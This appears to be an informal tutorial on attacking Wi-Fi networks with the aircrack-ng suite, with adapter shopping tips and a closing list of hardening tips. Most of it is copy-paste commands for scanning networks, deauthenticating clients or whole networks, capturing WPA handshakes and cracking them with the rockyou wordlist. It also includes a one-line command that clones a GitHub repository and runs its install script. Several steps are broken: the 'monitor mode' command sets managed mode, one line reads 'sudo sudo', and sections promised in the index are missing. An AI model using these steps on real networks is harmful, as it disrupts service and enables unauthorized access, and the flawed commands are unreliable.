Wireless Penetration Testing

Index

• What is Wi-Fi Pentesting. Why is it So Important ?
• Requirements
• Recommended Products
• Install Wi-fi Drivers
• Basics
• Scan Local Area WiFi networks.
• Deauthenticate Attack
• Capture Handshake file.
• Crack handshake using aircrack.
• Crack handshake using John/Hashcat.
• WhiteListing Mac

What is Wi-Fi Pentesting. Why is it So Important ?

Wireless penetration testing is a part of network penetration testing (NPT). This is a Security assessment process focused on Identifying vulnerabilities and reviewing general security tweaks in Network. Wireless pentesting is crucial for securing these networks against unauthorized access, data theft, and other cyber threats.

An attacker can easily spoof and view other users' data within the network, perform various attacks to disrupt it, and spread different types of malware, such as worms, to infect the entire network.

Requirements

Wireless Adapter, that supports:

• 2.4g,5g
• Monitor Mode
• Packet Injection

Linux Operating System like:

• kali
• Parrot

Recommended Products

In my case im using TP-LINK Archer T2U Plus AC600

Why should i buy this adapter ?

This adapter has a Realtek RTL8821AU Chipset. It will cost u ₹1,100 or maybe less. it have a good range and It support in linux community and has driver for Kali linux, Parrot OS ..etc Archer T2U Plus is on sale under 1000 INR, which is a very affordable price and it too good in my opinion for Beginners in Pentesting.

Where to buy

👉Amazon

👉Flipkart

👉AC1300 T3U

If you don’t have any budget concerns,you can go for this Alfa WiFi adapter, which costs around 4-10k depending on sales or market prices. They have more range

👉AC1200

👉AC1900

Installation of WiFi Drivers

Install One Shot

Copy and past on your's Kali Terminal 🙂

git clone https://github.com/Esther7171/WiFi-Pentesting && cd WiFi-Pentesting && chmod +x install.sh && ./install.sh

• This Script will automaticall install Drivers kali as well External Wifi adapters.

Basics

The First this is to do Recorganize your wireless adapater name according to your os

• In kali the Default name is wlan0, If you have 2 wifi adapter connected at same time it will show wlan1

step 1. Monitor mode

First you need adapter who's support Monitor mode && packet injection if u using this TP-link T2U plus. So ur ready

give root permision so it more comfortable :

sudo sudo
su root

Using iwconfig check wheather adapter is Managed mode or Monitor mode.

iwconfig

hmm i know it on Managed mode

1. Kill all background process to do it (it dissconnect ur network so don't get panic) :

airmon-ng check kill

• wlan0 => interface name .
• WIFI@REALTEK => Is wlan0 nickname u can use both but reccommended wlan0.
• if u have already connected to wifi sometime it show wlan1 or wlan2 rather than wlna0 (in case u have 2 adpater 1 for wifi and second to attack)

2. bring interface down to make it Monitor mode

ifconfig wlan0 down

3. to make it Monitormode

iwconfig wlan0 mode managed 

4. bring interface up again :

ifconfig wlan0 up

5. Now its on monitor mode check using :

iwconfig 

2. Or not doing all this time wast u can do Directly this Monitor mode by using 😁 :

airmon-ng start wlan0   

step 2. Check for nearby network

to check use :

it will show u all routers

airodump-ng wlan0   

ctrl + c => to stop

• Copy bssid ofnetwork u like (bssid = mac address show on first row)
• also note the ch (channel number of same router)

step 3. Check devices connect to that network and capture Handshake-file

• --bssid => whom u going to attack

• --channel => to give channel number if it or use [(-c) for channel but sometime it didn't work well ]

• station => is the device connectedto router.

• --write => to creat a file where my handshake store

airodump-ng wlan0 --bssid --channel --write /path/Meow.txt

airodump-ng wlan0 --bssid -c -w /path/Meow.txt

for an example

airodump-ng wlan0 --bssid 3C:46:45:1D:5D:31 --channel 11  -w /home/death/Meow.txt

step 4. kick off people form there network / deauthentication attack

• aireplay-ng is powerfull we using itfor deauth people and capture handshake when they try to reconnect.
• -a => router mac addrs.
• -c => device connected with router we going to deauthenticate.
• --deauth / -0 => to send number of deauth packeges.

aireplay-ng wlan0 -a -c  --deauth 10

aireplay-ng wlan0 -a <bssid> -c <station>  -0 <number of packages>

for example

aireplay-ng wlan0 -a 3C:46:45:1D:5D:31 -c D4:36:89:A4:7R:29 --deauth 10

To deauth on whole network use :

aireplay-ng wlan0 -a <bssid> -0 <deauth n.o packages>

your handshake-file will be stored in the path u give

• .cap is the file fo capture handshake . In my case is Meow.txt.cap
• so we going to crack it by aircrack-ng with wordlists.

step 5. Crack the password / handshake file.

To crack capture handshake we using aircrack-ng fast cracking tool

• -w to give wordlist.
• u got so many file but we need .cap file where handshake stored.
• if it not deauth another device.
• gzip -d /usr/share/wordlist/rockyou.txt (if it not)

aircrack-ng Meow.txt.cap -w /usr/share/rockyou.txt

• when it will crack it shou the password.

Implementing general security tweaks

• Encryption Standards: Ensure that WPA2/WPA3 is used instead of older protocols like WEP or WPA, which are less secure.

• SSID Management: Disable SSID broadcasting to make the network less visible. Use a non-identifiable SSID to avoid revealing the network type.

• Strong Passwords: Implement complex passwords for network access and change them regularly.

• MAC Address Filtering: Allow only authorized devices to connect by maintaining a whitelist of MAC addresses.

• Network Segmentation: Separate guest and internal networks to limit exposure and potential attack vectors.

• Disable WPS: Wi-Fi Protected Setup (WPS) can be vulnerable; disabling it can enhance security.

• Monitor for Rogue Access Points: Use tools to detect unauthorized access points that may compromise the network.

• Regular Firmware Updates: Keep access point firmware up to date to protect against known vulnerabilities.

• Intrusion Detection Systems (IDS): Deploy IDS to monitor and alert on suspicious activity.

• Conduct Regular Audits: Periodically review the security configurations and access logs to identify potential weaknesses.

dds